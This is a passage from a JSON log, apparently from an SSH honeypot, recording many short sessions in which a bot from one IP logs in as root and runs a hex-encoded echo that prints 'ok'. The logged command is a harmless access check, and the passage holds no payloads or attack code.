  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:51:41.799349+00:00",
  "ended_at": "2026-08-23T09:51:43.069552+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "73ddf082-892a-4652-9d71-0010a09e7b72",
  "name": "honest-scarlet-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35634,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:51:39.113068+00:00",
  "ended_at": "2026-08-23T09:51:41.115000+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "29dcf003-40ab-40c0-9a49-4cdabfaff3ec",
  "name": "forlorn-blazing-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44178,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:51:36.480043+00:00",
  "ended_at": "2026-08-23T09:51:38.345999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7950fa83-75f2-4e3b-92f4-5ead487e42a4",
  "name": "sleepy-murky-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44174,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:51:33.586522+00:00",
  "ended_at": "2026-08-23T09:51:35.840001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "522534de-b991-4c8b-b616-e91c930d3e99",
  "name": "painted-lanky-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44172,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:51:31.501093+00:00",
  "ended_at": "2026-08-23T09:51:32.856249+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fabd4aa0-e2fb-4b5e-9631-c07fe38d0bb3",
  "name": "amiable-gleaming-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44158,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:51:29.345063+00:00",
  "ended_at": "2026-08-23T09:51:30.846999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a7a3e2ae-fb31-4877-8ae5-d3a04a840ddc",
  "name": "loyal-subtle-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55918,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:51:26.390693+00:00",
  "ended_at": "2026-08-23T09:51:28.594513+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1664bf56-d76d-4287-ba9a-c529f4d2eb5e",
  "name": "prickly-sincere-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55908,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:51:24.580154+00:00",
  "ended_at": "2026-08-23T09:51:25.588635+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "896688d5-841f-466e-81ea-b8806ef5b379",
  "name": "civil-genial-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55900,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:51:21.553138+00:00",
  "ended_at": "2026-08-23T09:51:23.802005+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9ee93873-b0ad-4ef3-a86e-84512a4b84cd",
  "name": "sterling-amber-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55884,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:51:19.207436+00:00",
  "ended_at": "2026-08-23T09:51:20.807001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2f9b6d8b-f4a7-4c0e-bbbc-c7277d690e79",
  "name": "grumpy-steady-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36424,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:51:17.342043+00:00",
  "ended_at": "2026-08-23T09:51:18.578009+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "669ddd2f-b25c-464b-91fe-db0c8ed06541",
  "name": "lonesome-rugged-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36414,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:51:15.428118+00:00",
  "ended_at": "2026-08-23T09:51:16.502016+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7214749e-dc8d-4021-9069-cc7e68eb057f",
  "name": "serene-windswept-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36402,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:51:12.738073+00:00",
  "ended_at": "2026-08-23T09:51:14.640009+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "27d56df8-0eed-491e-8495-1beabbbedee2",
  "name": "snowy-solar-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36388,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:51:10.875471+00:00",
  "ended_at": "2026-08-23T09:51:11.975895+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "67aa2676-4fdf-4f72-bcb2-add9668649d7",
  "name": "rapid-marine-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42762,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:51:07.883105+00:00",
  "ended_at": "2026-08-23T09:51:10.044424+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e4217d58-8716-4f7b-a986-428677eafba6",
  "name": "idle-primal-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42746,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:51:05.298782+00:00",
  "ended_at": "2026-08-23T09:51:07.081387+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "552a7aa5-fb98-48ed-9bf0-ce686562dbe4",
  "name": "vivid-tangled-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42744,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:50:59.898519+00:00",
  "ended_at": "2026-08-23T09:51:04.666999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "94dd0bcc-79cd-4793-95af-7998b239fcf3",
  "name": "slender-austere-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46498,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:50:57.747297+00:00",
  "ended_at": "2026-08-23T09:50:59.143621+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7dbd1bd2-4a97-400e-85c6-1a2803050ad0",
  "name": "silent-nameless-gazelle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46494,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:50:55.852566+00:00",
  "ended_at": "2026-08-23T09:50:57.062048+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "48008eb7-8a3b-47cc-aa70-f2cf856548c6",
  "name": "curious-dusty-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46478,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:50:53.133091+00:00",
  "ended_at": "2026-08-23T09:50:55.032373+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d96c4d13-e3f3-43c8-959d-25ca0f3a8c79",
  "name": "eager-jagged-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46466,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:50:50.902177+00:00",
  "ended_at": "2026-08-23T09:50:52.295000+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "56f53335-0158-4e4a-9cb7-10067d89ff02",
  "name": "marbled-tranquil-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58922,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:50:48.159125+00:00",
  "ended_at": "2026-08-23T09:50:50.123359+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0c0a48a7-d436-4080-ac47-9f54807a80ae",
  "name": "rugged-brave-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58916,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:50:45.862577+00:00",
  "ended_at": "2026-08-23T09:50:47.503009+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b93c0dec-9dac-4482-82e5-af01d8ed4783",
  "name": "burly-hollow-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58906,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:50:43.347101+00:00",
  "ended_at": "2026-08-23T09:50:45.113290+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "62b04885-1a31-44bf-9dc8-b6147b2264c1",
  "name": "stormy-early-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58900,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:50:41.492657+00:00",
  "ended_at": "2026-08-23T09:50:42.675173+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b9148582-d806-4906-9e31-ce30096e2a81",
  "name": "tangled-inland-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55334,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:50:37.601075+00:00",
  "ended_at": "2026-08-23T09:50:40.817047+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "26699460-2e24-42c8-a492-b8530a26cc8e",
  "name": "bold-cobalt-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55326,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:50:35.110257+00:00",
  "ended_at": "2026-08-23T09:50:36.887048+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "eb652fba-7a5b-4313-8f92-7c7d33437f7d",
  "name": "freckled-lanky-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55314,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:50:30.022819+00:00",
  "ended_at": "2026-08-23T09:50:34.342487+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "342c8c25-6a47-4204-9939-8e2ec0a9ca27",
  "name": "whispering-chilly-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49044,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:50:27.794112+00:00",
  "ended_at": "2026-08-23T09:50:29.316958+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "db57f959-c505-4366-94f2-fff98c494203",
  "name": "prairie-supple-yak",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49030,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:50:25.291270+00:00",
  "ended_at": "2026-08-23T09:50:27.147052+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "edf84a15-80fd-4e55-a799-24a9ef88a69d",
  "name": "valiant-patient-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49022,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:50:22.442653+00:00",
  "ended_at": "2026-08-23T09:50:24.452162+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cd8f8feb-99b7-4415-baa3-52b669a30a3f",
  "name": "seaward-canny-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49018,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:50:19.968132+00:00",
  "ended_at": "2026-08-23T09:50:21.618011+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8d4b1988-82bb-46b3-aa3b-4533481045b0",
  "name": "arctic-western-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38392,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:50:18.404080+00:00",
  "ended_at": "2026-08-23T09:50:19.296000+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c23ffa27-85e2-4ac5-ab01-5c939e1a9937",
  "name": "russet-deft-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38386,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:50:16.240102+00:00",
  "ended_at": "2026-08-23T09:50:17.712998+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7e7e9207-9646-4ca7-a666-2912eba8c770",
  "name": "fabled-mottled-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38370,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:50:13.763733+00:00",
  "ended_at": "2026-08-23T09:50:15.557335+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0d42c052-d0dc-4664-b26f-125333871357",
  "name": "balmy-jolly-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38356,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:50:11.552403+00:00",
  "ended_at": "2026-08-23T09:50:13.140009+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dbab210f-c6cd-4f89-ac89-8b469947adc6",
  "name": "frugal-frosty-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58316,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:50:08.585003+00:00",
  "ended_at": "2026-08-23T09:50:10.808612+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "87606ebc-12c8-4323-bc9f-dc599c496933",
  "name": "ivory-thorny-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58314,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:50:06.409162+00:00",
  "ended_at": "2026-08-23T09:50:07.869005+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f3fe805c-0539-4659-be82-bea554209ed6",
  "name": "amber-patient-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58298,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:50:03.386135+00:00",
  "ended_at": "2026-08-23T09:50:05.608354+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a7c43cc5-f7c2-4bcc-94ea-86235efd963a",
  "name": "diligent-autumn-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58288,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:50:01.193082+00:00",
  "ended_at": "2026-08-23T09:50:02.730396+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "31af034e-19c9-43dd-9f1b-f804189424f8",
  "name": "glacial-mellow-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36178,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:49:57.189142+00:00",
  "ended_at": "2026-08-23T09:50:00.521037+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c1fb977e-9e9d-4b47-9b4a-07bec923dcb1",
  "name": "cobalt-nautical-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36168,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:49:54.404366+00:00",
  "ended_at": "2026-08-23T09:49:56.432004+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "aab6756a-8768-430c-8172-dc788387f9b2",
  "name": "emerald-arctic-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36162,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:49:52.460117+00:00",
  "ended_at": "2026-08-23T09:49:53.607005+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "560479e1-33f3-44b6-ae88-040c61ca602b",
  "name": "pristine-solar-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36154,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:49:48.777624+00:00",
  "ended_at": "2026-08-23T09:49:51.750172+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d646bd06-194c-437d-8e31-d538e46e115d",
  "name": "craggy-lawful-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36124,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:49:47.021288+00:00",
  "ended_at": "2026-08-23T09:49:48.088662+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3f24c8e8-7fe9-4d3f-b775-d48f069dbc70",
  "name": "chilly-tender-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36118,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:49:44.100075+00:00",
  "ended_at": "2026-08-23T09:49:46.269097+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bc31e723-79ad-4ecc-8b40-0a5b36a4da44",
  "name": "keen-peaty-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36104,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:49:42.189961+00:00",
  "ended_at": "2026-08-23T09:49:43.434533+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "aed00c66-44b2-46da-981a-1ba375d9aafa",
  "name": "ruddy-knotted-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36096,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:49:40.567775+00:00",
  "ended_at": "2026-08-23T09:49:41.510151+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "10487d8b-f8c4-4277-8a38-af5d8355b458",
  "name": "prickly-clever-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47142,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:49:37.713080+00:00",
  "ended_at": "2026-08-23T09:49:39.840012+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a6ee914b-47a3-4a74-819d-8fb3f8aec658",
  "name": "prairie-shifting-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47134,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
